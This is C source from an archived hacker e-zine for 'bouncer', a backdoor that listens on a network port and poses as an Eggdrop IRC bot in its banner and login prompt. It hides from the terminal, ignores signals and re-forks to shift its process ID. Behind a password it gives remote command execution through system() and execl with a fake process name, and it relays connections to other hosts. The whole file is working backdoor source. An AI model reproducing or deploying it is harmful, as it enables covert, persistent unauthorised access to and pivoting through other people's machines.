home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / b4b0 / b4b0-07 / bouncer.c next >
Encoding:
C/C++ Source or Header  |  2002-05-27  |  11.4 KB  |  499 lines

  1. /*
  2.     Defineovi:
  3.  
  4.     DONT_HIDE_TTY
  5.     SUNOS
  6.     DEBIAN
  7. */
  8.  
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <sys/ioctl.h>
  12. #include <unistd.h>
  13. #include <arpa/telnet.h>
  14. #include <string.h>
  15. #include <sys/types.h>
  16. #include <sys/socket.h>
  17. #include <netinet/in.h>
  18. #include <signal.h>
  19. #include <sys/wait.h>
  20. #include <fcntl.h>
  21. #include <netdb.h>
  22. #ifdef SUNOS
  23. #include <sys/errno.h>
  24. #endif
  25. #ifdef DEBIAN
  26. #include <asm/errno.h>
  27. #endif
  28. /* Za communicate() */
  29. #include <sys/time.h>
  30.  
  31. #define VER "0.1.3"
  32. #define PROMPT "bouncer>"
  33. #define TMP_STR_SIZE 256
  34. #define ARGS 16
  35. #define CLIENTS 16
  36. #define PROMPT_NICK " "
  37. #define PORT_ENV "bport"
  38. #define PASS_ENV "bpass"
  39. #define BPRINT_ENV "bprint"
  40. #define DEBUG_ENV "bdebug"
  41. #define NICK_ENV "bnick"
  42.  
  43. int MainSock;
  44. unsigned int SockAddrSize, Clients = 0;
  45. unsigned long int ForkPoint;
  46. char Pass[32], Nick[16],
  47.     Response[][64] = {
  48.         "0 Ready.",
  49.         "1 Command not implemented.",
  50.         "2 Operation successfull.",
  51.         "3 Opeation not succesfull."
  52.         };
  53.  
  54. void DisconnectClient (int ClientSock)
  55.     {
  56.     shutdown (ClientSock, 2);
  57.     close (ClientSock);
  58.     exit (EXIT_SUCCESS);
  59.     }
  60.  
  61. void NoEchoMode (int ClientSock)
  62.     {
  63.     char Str[5];
  64.  
  65.     printf ("%c%c%c", IAC, WILL, TELOPT_ECHO);
  66.     fgets (Str, 4, stdin);
  67.     }
  68.  
  69. void EchoMode (int ClientSock)
  70.     {
  71.     char Str[5];
  72.  
  73.     printf ("%c%c%c", IAC, WONT, TELOPT_ECHO);
  74.     fgets (Str, 4, stdin);
  75.     }
  76.  
  77. void BinMode (int ClientSock)
  78.     {
  79.     char Str[5];
  80.  
  81.     printf ("%c%c%c", IAC, DO, TELOPT_BINARY);
  82.     fgets (Str, 4, stdin);
  83.     }
  84.  
  85. char *Gets (char *Str, unsigned int Size)
  86.     {
  87.     if (fgets (Str, Size, stdin) == NULL)
  88.         return (NULL);
  89.     Str[strlen (Str) - 1] = 0;
  90.     return (Str);
  91.     }
  92.  
  93. void Parse (int *Args, char **Arg)
  94.     {
  95.     int Num;
  96.  
  97.     if (!Arg[0][0])
  98.         return;
  99.  
  100.     for (Num = 0; Num < ARGS; Num ++)
  101.         {
  102.         if (Num)
  103.             {
  104.             Arg[Num] = strchr (Arg[Num - 1], ' ');
  105.             if (Arg[Num] == NULL)
  106.                 break;
  107.             }
  108.     
  109.         while (*Arg[Num] == ' ')
  110.             {
  111.             *Arg[Num] = 0;
  112.             Arg[Num] ++;
  113.             }
  114.         }
  115.     *Args = Num;
  116.     }
  117.  
  118. void communicate(int sfd,int cfd)    {
  119.     char *chead, *ctail, *shead, *stail;
  120.     int num, nfd, spos, cpos;
  121.     extern int errno;
  122.     fd_set rd, wr;
  123.     char cbuf[2048], sbuf[2048];
  124.  
  125.     chead = ctail = cbuf;
  126.     cpos = 0;
  127.     shead = stail = sbuf;
  128.     spos = 0;
  129.     while (1) {
  130.         FD_ZERO(&rd);
  131.         FD_ZERO(&wr);
  132.         if (spos < sizeof(sbuf)-1) FD_SET(sfd, &rd);
  133.         if (ctail > chead) FD_SET(sfd, &wr);
  134.         if (cpos < sizeof(cbuf)-1) FD_SET(cfd, &rd);
  135.         if (stail > shead) FD_SET(cfd, &wr);
  136.         nfd = select(256, &rd, &wr, 0, 0);
  137.         if (nfd <= 0) continue;
  138.         if (FD_ISSET(sfd, &rd)) {
  139.             num=read(sfd,stail,sizeof(sbuf)-spos);
  140.             if ((num==-1) && (errno != EWOULDBLOCK)) return;
  141.             if (num==0) return;
  142.             if (num>0) {
  143.                 spos += num;
  144.                 stail += num;
  145.                 if (!--nfd) continue;
  146.             }
  147.         }
  148.         if (FD_ISSET(cfd, &rd)) {
  149.             num=read(cfd,ctail,sizeof(cbuf)-cpos);
  150.             if ((num==-1) && (errno != EWOULDBLOCK)) return;
  151.             if (num==0) return;
  152.             if (num>0) {
  153.                 cpos += num;
  154.                 ctail += num;
  155.                 if (!--nfd) continue;
  156.             }
  157.         }
  158.         if (FD_ISSET(sfd, &wr)) {
  159.             num=write(sfd,chead,ctail-chead);
  160.             if ((num==-1) && (errno != EWOULDBLOCK)) return;
  161.             if (num>0) {
  162.                 chead += num;
  163.                 if (chead == ctail) {
  164.                     chead = ctail = cbuf;
  165.                     cpos = 0;
  166.                 }
  167.                 if (!--nfd) continue;
  168.             }
  169.         }
  170.         if (FD_ISSET(cfd, &wr)) {
  171.             num=write(cfd,shead,stail-shead);
  172.             if ((num==-1) && (errno != EWOULDBLOCK)) return;
  173.             if (num>0) {
  174.                 shead += num;
  175.                 if (shead == stail) {
  176.                     shead = stail = sbuf;
  177.                     spos = 0;
  178.                 }
  179.                 if (!--nfd) continue;
  180.             }
  181.         }
  182.     }
  183. }
  184.  
  185. void Connect (int ClientSock, char *Host, char *PortStr)
  186.     {
  187.     int ConnectSock, Res;
  188.     unsigned int Port;
  189.     struct hostent *HostEnt;
  190.     struct sockaddr_in SockAddr;
  191.  
  192.     HostEnt = gethostbyname (Host);
  193.     if (HostEnt == NULL)
  194.         {
  195.         printf ("%s: Unknown host.\n", Host);
  196.         return;
  197.         }
  198.     Port = (unsigned int)strtoul (PortStr, NULL, 10);
  199.     if (!Port && PortStr[0])
  200.         {
  201.         printf ("%s: Bad port number.\n", PortStr);
  202.         return;
  203.         }
  204.  
  205.     SockAddr.sin_family = AF_INET;
  206.     SockAddr.sin_addr = *(struct in_addr *)HostEnt->h_addr;    
  207.     SockAddr.sin_port = htons (Port);
  208.  
  209.     printf ("Trying %d.%d.%d.%d...\n",
  210.         (HostEnt->h_addr_list[0][0] < 0) ? HostEnt->h_addr_list[0][0] + 256 : HostEnt->h_addr_list[0][0],
  211.         (HostEnt->h_addr_list[0][1] < 0) ? HostEnt->h_addr_list[0][1] + 256 : HostEnt->h_addr_list[0][1],
  212.         (HostEnt->h_addr_list[0][2] < 0) ? HostEnt->h_addr_list[0][2] + 256 : HostEnt->h_addr_list[0][2],
  213.         (HostEnt->h_addr_list[0][3] < 0) ? HostEnt->h_addr_list[0][3] + 256 : HostEnt->h_addr_list[0][3]);
  214.     ConnectSock = socket (AF_INET, SOCK_STREAM, 0);
  215.     if (ConnectSock == -1)
  216.         {
  217.         printf ("Can't create a socket!\n");
  218.         return;
  219.         }
  220.     Res = connect (ConnectSock, (struct sockaddr *)&SockAddr, SockAddrSize);
  221.     if (Res == -1)
  222.         {
  223.         printf ("Can't connect to remote host: ");
  224.         perror ("");
  225.         return;
  226.         }
  227.     printf ("Connected to %s.\n", Host);
  228.     communicate (ConnectSock, ClientSock);
  229.     close (ConnectSock);
  230.     printf ("\n\rconnect: Connection closed.\n\r");
  231.     DisconnectClient (ClientSock);
  232.     }
  233.  
  234. void ServeClient (int ClientSock)
  235.     {
  236.     int Args, InPromptMode = 0;
  237.     char Str[TMP_STR_SIZE], *Arg[ARGS], Str2[TMP_STR_SIZE];
  238.  
  239.     int IsCmd (char *Command)
  240.         {
  241.         if (strcmp (Command, Arg[0]))
  242.             return (0);
  243.         return (1);
  244.         }
  245.  
  246.     signal (SIGCHLD, SIG_DFL);
  247.  
  248.     dup2 (ClientSock, 0);
  249.     dup2 (ClientSock, 1);
  250.     dup2 (ClientSock, 2);
  251.     setvbuf (stdout, NULL, _IONBF, 0);
  252.     setvbuf (stdout, NULL, _IONBF, 1);
  253.     setvbuf (stdout, NULL, _IONBF, 2);
  254.     BinMode (ClientSock);
  255.  
  256.     printf ("\n\n%s (Eggdrop v1.3.12  (c)1997 Robey Pointer)\n\nPlease enter your nickname.\n", Nick);
  257.     if (Gets (Str, TMP_STR_SIZE) == NULL)
  258.         DisconnectClient (ClientSock);
  259.     if (!strcmp (Str, Pass))
  260.         goto Ready;
  261.     InPromptMode = 1;
  262.     if (strcmp (Str, PROMPT_NICK))
  263.         {
  264.         printf ("You don't have access.\n");
  265.         DisconnectClient (ClientSock);
  266.         }
  267.  
  268.     printf ("Enter your password.\n");
  269.     NoEchoMode (ClientSock);
  270.     if (Gets (Str, TMP_STR_SIZE) == NULL)
  271.         DisconnectClient (ClientSock);
  272.     EchoMode (ClientSock);
  273.     if (strcmp (Str, Pass))
  274.         {
  275.         printf ("\rNegative on that, Houston.\n");
  276.         DisconnectClient (ClientSock);
  277.         }
  278.  
  279.     Ready:
  280.     if (InPromptMode)
  281.         printf ("Version: %s\nWhat do you want to hack today?\n", VER);
  282.     else
  283.         puts (Response[0]);
  284.  
  285.     Str[0] = 0;
  286.     do
  287.         {
  288.         Arg[0] = Str;
  289.         strcpy (Str2, Str);
  290.         Parse (&Args, Arg);
  291.         if (IsCmd (""))
  292.             goto CmdDone;
  293.         if (!InPromptMode)
  294.             {
  295.             puts (Response[1]);
  296.             goto Again;
  297.             }
  298.         if (IsCmd ("quit") || IsCmd ("exit"))
  299.             DisconnectClient (ClientSock);
  300.         if (IsCmd ("exec"))
  301.             {
  302.             if (Args < 3)
  303.                 {
  304.                 printf ("exec: Not enough parameters.\nType '?' for help.\n");
  305.                 goto CmdDone;
  306.                 }
  307.             if (!fork ())
  308.                 {
  309.                 execl (Arg[2], Arg[1],
  310.                     Arg[3], Arg[4], Arg[5],
  311.                     Arg[6], Arg[7], Arg[8],
  312.                     Arg[9], Arg[10], Arg[11],
  313.                     Arg[12], Arg[13], Arg[14],
  314.                     Arg[15],
  315.                     NULL);
  316.                 perror (Arg[0]);
  317.                 exit (EXIT_FAILURE);
  318.                 }
  319.             wait (0);
  320.             goto CmdDone;
  321.             }
  322.         if (IsCmd ("sys"))
  323.             {
  324.             if (Args < 2)
  325.                 {
  326.                 printf ("sys: Not enough parameters.\nType '?' for help.\n");
  327.                 goto CmdDone;
  328.                 }
  329.             system (Str2 + (Arg[1] - Str));
  330.             goto CmdDone;
  331.             }
  332.         if (IsCmd ("help") || IsCmd ("?"))
  333.             {
  334.             printf ("%s%s%s%s%s%s%s%s%s",
  335.                 "\n",
  336.                 "con\t<host> [port]\n",
  337.                 "exec\t<false name> <program> [arguments]\n",
  338.                 "exit\n",
  339.                 "help\n",
  340.                 "sys\t<command> [arguments]\n",
  341.                 "quit\n",
  342.                 "?\n",
  343.                 "\n");
  344.             goto CmdDone;
  345.             }
  346.         if (IsCmd ("connect"))
  347.             {
  348.             if (Args < 2)
  349.                 {
  350.                 printf ("connect: Not enough parameters.\nType '?' for help.\n");
  351.                 goto CmdDone;
  352.                 }
  353.             if (Args == 2)
  354.                 Connect (ClientSock, Arg[1], "23");
  355.             else
  356.                 Connect (ClientSock, Arg[1], Arg[2]);
  357.             goto CmdDone;
  358.             }
  359.         printf ("%s: Command not found.\nType '?' for help.\n", Arg[0]);
  360.         CmdDone:
  361.         if (InPromptMode)
  362.             printf ("%s", PROMPT);
  363.         Again:
  364.         }
  365.     while (Gets (Str, TMP_STR_SIZE) != NULL);
  366.  
  367.     DisconnectClient (ClientSock);
  368.     }
  369.  
  370. void HandleSigMain (int Sig)
  371.     {
  372.     wait (0);
  373.     Clients --;
  374.     signal (Sig, HandleSigMain);
  375.     }
  376.  
  377. int main (void)
  378.     {
  379.     int Num, ClientSock, EnvErr, DoPrint = 0;
  380.     unsigned int Port;
  381.     pid_t Pid;
  382.     struct sockaddr_in SockAddr;
  383.  
  384.     SockAddrSize = sizeof (SockAddr);
  385.     ForkPoint = (unsigned long int)(RAND_MAX / 1000); /* 0,1% sanse */
  386.  
  387.     if (getenv (BPRINT_ENV))
  388.         DoPrint = 1;
  389.  
  390.     if (DoPrint)
  391.         printf ("Version: %s\n", VER);
  392.     else
  393.         printf ("%s%s%s", 
  394.             "Eggdrop v1.3.14  (c)1997 Robey Pointer\n",
  395.             "--- Loading eggdrop v1.3.14 (Tue Jun 30 1998)\n",
  396.             "* CONFIG FILE NOT LOADED (NOT FOUND, OR ERROR)\n"
  397.             );
  398.  
  399.     EnvErr = 0;
  400.     if (!getenv (PORT_ENV))
  401.         {
  402.         if (DoPrint)
  403.             fprintf (stderr, "Fatal error: Port variable '%s' not set.\n", PORT_ENV);
  404.         EnvErr = 1;
  405.         }
  406.     if (!getenv (PASS_ENV))
  407.         {
  408.         if (DoPrint)
  409.             fprintf (stderr, "Fatal error: Password variable '%s' not set.\n", PASS_ENV);
  410.         EnvErr = 1;
  411.         }
  412.     if (!getenv (NICK_ENV))
  413.         {
  414.         if (DoPrint)
  415.             fprintf (stderr, "Fatal error: Nick variable '%s' not set.\n", NICK_ENV);
  416.         EnvErr = 1;
  417.         }
  418.     if (EnvErr)
  419.         exit (EXIT_FAILURE);
  420.  
  421.     Port = strtoul (getenv (PORT_ENV), NULL, 10);
  422.     strncpy (Pass, getenv (PASS_ENV), 32);
  423.     if (!strcmp (Pass, PROMPT_NICK) && DoPrint)
  424.         {
  425.         fprintf (stderr, "Fatal error: Password is equal to prompt nick.\n");
  426.         exit (EXIT_FAILURE);
  427.         }
  428.     strncpy (Nick, getenv (NICK_ENV), 16);
  429.  
  430. #ifndef DONT_HIDE_TTY
  431.     if (ioctl (0, TIOCNOTTY) == -1 && DoPrint)
  432.         fprintf (stderr, "Non-fatal error: Unable to hide tty.\n");
  433. #endif
  434.  
  435.     if (!getenv (DEBUG_ENV))
  436.         {
  437.         printf ("Changing signal handling...\n");
  438.         for (Num = 0; Num < 256; Num ++)
  439.             signal (Num, SIG_IGN);
  440.         }
  441.     else
  442.         printf ("Skiping signal handling change.\n");
  443.     signal (SIGCHLD, HandleSigMain);
  444.  
  445.     MainSock = socket (AF_INET, SOCK_STREAM, 0);
  446.     if (MainSock == -1)
  447.         {
  448.         fprintf (stderr, "Fatal error: Unable to create main socket.\n");
  449.         exit (EXIT_FAILURE);
  450.         }
  451.     SockAddr.sin_family = AF_INET;
  452.     SockAddr.sin_addr.s_addr = 0;
  453.     SockAddr.sin_port = htons (Port);
  454.     if (bind (MainSock, (struct sockaddr *)&SockAddr, sizeof (SockAddr)))
  455.         {
  456.         fprintf (stderr, "Fatal error: Unable to open port %d: ", Port);
  457.         perror ("");
  458.         exit (EXIT_FAILURE);
  459.         }
  460.     if (listen (MainSock, CLIENTS))
  461.         {
  462.         perror ("Fatal error: Can't assign port for listening");
  463.         exit (EXIT_FAILURE);
  464.         }
  465.     printf ("Listening on port %u.\n", Port);
  466.     fcntl (MainSock, F_SETFL, fcntl (MainSock, F_GETFL) | O_NONBLOCK);
  467.  
  468.     if ((Pid = fork ()))
  469.         {
  470.         printf (
  471. #ifdef SUNOS
  472.             "Moving into the background with PID %lu.\n",
  473. #else
  474.             "Moving into the background with PID %u.\n",
  475. #endif
  476.             Pid);
  477.         exit (EXIT_SUCCESS);
  478.         }
  479.  
  480.     while (1)
  481.         {
  482.         ClientSock = accept (MainSock, (struct sockaddr *)&SockAddr, &SockAddrSize);
  483.         if (ClientSock != -1)
  484.             {
  485.             Clients ++;
  486.             if (!fork ())
  487.                 ServeClient (ClientSock);
  488.             }
  489.                 
  490.         srand (time (NULL));
  491.         if (rand () < ForkPoint && !Clients)
  492.             {
  493.             if (fork ())
  494.                 exit (0);
  495.             }
  496.         usleep (10000);
  497.         }    
  498.     }
  499.